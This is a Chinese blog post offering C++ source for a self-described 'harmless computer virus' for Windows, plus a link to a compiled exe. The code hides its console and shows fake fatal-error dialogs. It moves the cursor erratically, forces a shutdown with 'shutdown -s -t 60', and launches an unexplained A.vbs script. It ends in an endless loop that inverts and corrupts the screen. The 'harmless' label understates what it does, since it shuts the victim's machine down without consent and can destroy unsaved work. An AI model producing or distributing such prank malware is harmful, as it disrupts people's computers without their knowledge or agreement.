一个无害的C艹电脑病毒

这是一个使用C++编写的无害电脑病毒示例,它会在屏幕上显示错误图标,模拟系统警告,并在一段时间后关机。代码包括了隐藏控制台窗口、弹出警告对话框和在屏幕上绘制图标等功能。
摘要由CSDN通过智能技术生成

运行结果:上面文件下载(运行FolySompy.exe)

废话不多说,上代码!!!

#include <windows.h>
#include <conio.h>
#include <iomanip>
#include <bits/stdc++.h>
#include <cmath>
#include <math.h>
#include <time.h>
//一个无害的电脑病毒
using namespace std;
int n = 10;
int main()
{
    int cx=GetSystemMetrics(SM_CXSCREEN);
    int cy=GetSystemMetrics(SM_CYSCREEN);
    HWND hwnds;
    hwnds = FindWindow("ConsoleWindowClass", NULL);
    if (hwnds) {
        ShowOwnedPopups(hwnds, SW_HIDE);
        ShowWindow(hwnds, SW_HIDE);
    }
    HWND s;
    s = FindWindow("ConsoleWindowClass", NULL);
    if (s) {
        ShowOwnedPopups(s, SW_HIDE);
        ShowWindow(s, SW_HIDE);
    }
    MessageBox(NULL, "你的电脑GG", "系统提示:",MB_ICONQUESTION|MB_OK);
    MessageBox(NULL, "你的电脑GG!", "CPU致命错误!",MB_ICONINFORMATION|MB_OK);
    MessageBox(NULL, "你的电脑GG!!", "CMQ致命错误!",MB_ICONHAND|MB_OK);
    MessageBox(NULL, "你的电脑GG!!!", "System32致命错误!",MB_ICONWARNING|MB_OK);

//弹窗错误窗口

    printf("Spris!");
    int q = 3000;
    int ix=GetSystemMetrics(SM_CXSCREEN);
    int iy=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    while(q){
        SetCursorPos(rand()%ix,rand()%iy);
        q--;
    }
            
    HWND hwnd = GetDesktopWindow();
    HDC hdc = GetWindowDC(hwnd);
    POINT point;
    system("shutdown -s -t 60");
    while(n)
    {
        system("start A.vbs");
        GetCursorPos(&point);
        DrawIcon(hdc, point.x + 25, point.y + 25, LoadIcon(NULL, IDI_ERROR));
        DrawIcon(hdc, point.x + 40, point.y + 40, LoadIcon(NULL, IDI_WARNING));
        DrawIcon(hdc, point.x - 25, point.y - 25, LoadIcon(NULL, IDI_WINLOGO));
        DrawIcon(hdc, point.x - 40, point.y - 40, LoadIcon(NULL, IDI_INFORMATION));
        HDC hdcs = GetDC(0);
        BitBlt(hdcs, 0, 0, cx, cy, hdcs, 0, 0, NOTSRCCOPY); 
        DrawIcon(hdc, point.x + 25, point.y + 25, LoadIcon(NULL, IDI_ERROR));
        DrawIcon(hdc, point.x + 140, point.y + 40, LoadIcon(NULL, IDI_WARNING));
        DrawIcon(hdc, point.x - 25, point.y - 25, LoadIcon(NULL, IDI_WINLOGO));
        DrawIcon(hdc, point.x - 40, point.y - 40, LoadIcon(NULL, IDI_INFORMATION));
        DrawIcon(hdc, point.x + 25, point.y + 25, LoadIcon(NULL, IDI_ERROR));

//绘制图标
        DrawIcon(hdc, point.x + 40, point.y + 40, LoadIcon(NULL, IDI_WARNING));
        DrawIcon(hdc, point.x - 25, point.y - 125, LoadIcon(NULL, IDI_WINLOGO));
        Beep(2000,40);
        DrawIcon(hdc, point.x - 40, point.y - 40, LoadIcon(NULL, IDI_INFORMATION));
        DrawIcon(hdc, point.x + 25, point.y + 125, LoadIcon(NULL, IDI_ERROR));
        DrawIcon(hdc, point.x + 40, point.y + 40, LoadIcon(NULL, IDI_WARNING));
        Beep(2000,40);
        DrawIcon(hdc, point.x - 25, point.y - 25, LoadIcon(NULL, IDI_WINLOGO));
        DrawIcon(hdc, point.x - 140, point.y - 40, LoadIcon(NULL, IDI_INFORMATION));
        DrawIcon(hdc, point.x + 25, point.y + 25, LoadIcon(NULL, IDI_ERROR));
        DrawIcon(hdc, point.x + 40, point.y + 40, LoadIcon(NULL, IDI_WARNING));
        DrawIcon(hdc, point.x - 25, point.y - 25, LoadIcon(NULL, IDI_WINLOGO));
        DrawIcon(hdc, point.x - 40, point.y - 40, LoadIcon(NULL, IDI_INFORMATION));
        DrawIcon(hdc, point.x + 25, point.y + 25, LoadIcon(NULL, IDI_ERROR));
        Beep(2000,40);
        DrawIcon(hdc, point.x + 40, point.y + 40, LoadIcon(NULL, IDI_WARNING));
        DrawIcon(hdc, point.x - 25, point.y - 25, LoadIcon(NULL, IDI_WINLOGO));
        DrawIcon(hdc, point.x - 140, point.y - 140, LoadIcon(NULL, IDI_INFORMATION));
        DrawIcon(hdc, point.x + 25, point.y + 25, LoadIcon(NULL, IDI_ERROR));
        DrawIcon(hdc, point.x + 40, point.y + 40, LoadIcon(NULL, IDI_WARNING));
        DrawIcon(hdc, point.x - 25, point.y - 25, LoadIcon(NULL, IDI_WINLOGO));
        DrawIcon(hdc, point.x - 40, point.y - 40, LoadIcon(NULL, IDI_INFORMATION));
        DrawIcon(hdc, point.x + 25, point.y + 25, LoadIcon(NULL, IDI_ERROR));
        DrawIcon(hdc, point.x + 40, point.y + 40, LoadIcon(NULL, IDI_WARNING));
        DrawIcon(hdc, point.x - 125, point.y - 125, LoadIcon(NULL, IDI_WINLOGO));
        DrawIcon(hdc, point.x - 40, point.y - 40, LoadIcon(NULL, IDI_INFORMATION));
        DrawIcon(hdc, point.x + 25, point.y + 25, LoadIcon(NULL, IDI_ERROR));
        DrawIcon(hdc, point.x + 40, point.y + 40, LoadIcon(NULL, IDI_WARNING));
        Beep(2000,40);
        DrawIcon(hdc, point.x - 25, point.y - 25, LoadIcon(NULL, IDI_WINLOGO));
        DrawIcon(hdc, point.x - 40, point.y - 40, LoadIcon(NULL, IDI_INFORMATION));
        DrawIcon(hdc, point.x + 25, point.y + 25, LoadIcon(NULL, IDI_ERROR));
        DrawIcon(hdc, point.x + 40, point.y + 40, LoadIcon(NULL, IDI_WARNING));
        DrawIcon(hdc, point.x - 125, point.y - 125, LoadIcon(NULL, IDI_WINLOGO));
        DrawIcon(hdc, point.x - 40, point.y - 40, LoadIcon(NULL, IDI_INFORMATION));
        DrawIcon(hdc, point.x + 25, point.y + 25, LoadIcon(NULL, IDI_ERROR));
        DrawIcon(hdc, point.x + 40, point.y + 40, LoadIcon(NULL, IDI_WARNING));
        DrawIcon(hdc, point.x - 25, point.y - 25, LoadIcon(NULL, IDI_WINLOGO));
        DrawIcon(hdc, point.x - 140, point.y - 140, LoadIcon(NULL, IDI_INFORMATION));
        Sleep(500);
        n--;
    }
    FreeConsole();
    int x, y;
    x = GetSystemMetrics(SM_CYSCREEN);
    y = GetSystemMetrics(SM_CYSCREEN);
    HWND hwnda = GetDesktopWindow();
    HDC hdca = GetWindowDC(hwnda);
    POINT pointa;
    while(1)
    {
        GetCursorPos(&point);
        DrawIcon(hdca, pointa.x - 5, pointa.y - 5, LoadIcon(0, IDI_ERROR));
        int randx, randy;
        randx = rand() % x + 0;
        randy = rand() % y + 0;
        BitBlt(GetDC(0),rand() % x + 0, rand() % y + 0,randx+200,randy+200,GetDC(0),randx,randy,NOTSRCCOPY);
        //a = GetSystemMetrics(SM_CYSCREEN);

//MEMZ隧道
    }
    return 1;
}

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

快乐星空Maker

你的鼓励是我创作的最大动力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值